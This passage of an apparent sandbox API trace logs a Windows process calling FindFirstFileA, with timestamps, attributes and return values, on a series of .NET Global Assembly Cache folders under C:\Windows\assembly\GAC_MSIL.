dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.742] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.GroupPolicy.Reporting.Resources\\2.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6e43d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e43d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.747] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Ink.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6e43d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e43d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.752] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Ink.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6e69e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e69e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.757] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.JScript\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6e69e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e69e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.761] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.JScript\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6e69e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e69e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.767] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ManagementConsole\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6e69e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e69e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.772] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ManagementConsole\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6e8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.776] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ManagementConsole.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6e8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.781] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ManagementConsole.Resources\\3.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6e8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.786] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6eb6140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6eb6140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.791] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6eb6140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6eb6140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.797] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Bml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6eb6140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6eb6140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.801] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Bml\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6edc2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6edc2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.807] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.iTV\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6edc2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6edc2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.813] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.iTV\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6edc2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6edc2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.818] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.iTv.Hosting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f02400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f02400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.822] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.iTv.Hosting\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f02400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f02400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.827] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.ITVVM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f02400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f02400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.835] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.ITVVM\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f28560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f28560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.845] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Shell\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f4e6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f4e6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.850] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Shell\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f4e6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f4e6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.855] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Sports\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f4e6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f4e6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.859] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.Sports\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f4e6c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f4e6c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.864] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.UI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f74820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f74820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.869] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6f74820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f74820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.874] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa62e0ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6f74820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f74820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a3aeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6f9a980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f9a980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.886] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Runtime\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa626ead0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6f9a980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f9a980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.890] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Runtime\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x662b9570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6f9a980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6f9a980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.896] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Runtime.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6294c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc0ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6fc0ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.901] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Runtime.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568a2e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc0ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6fc0ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.906] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.RuntimeUi\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa62bad90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc0ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6fc0ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.912] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.RuntimeUi\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a61010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fe6c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6fe6c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.917] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.RuntimeUi.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa62e0ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fe6c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6fe6c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.922] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.RuntimeUi.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57e81830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x700cda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x700cda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.928] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.SyncServices\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa63eb890, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x700cda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x700cda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.933] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.SyncServices\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x694b6370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x700cda0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x700cda0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.939] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.SyncServices.Intl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa63eb890, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7032f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7032f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.945] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.SyncServices.Intl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5812f0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7032f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7032f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.950] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa64119f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7032f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7032f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.955] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Tools\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: 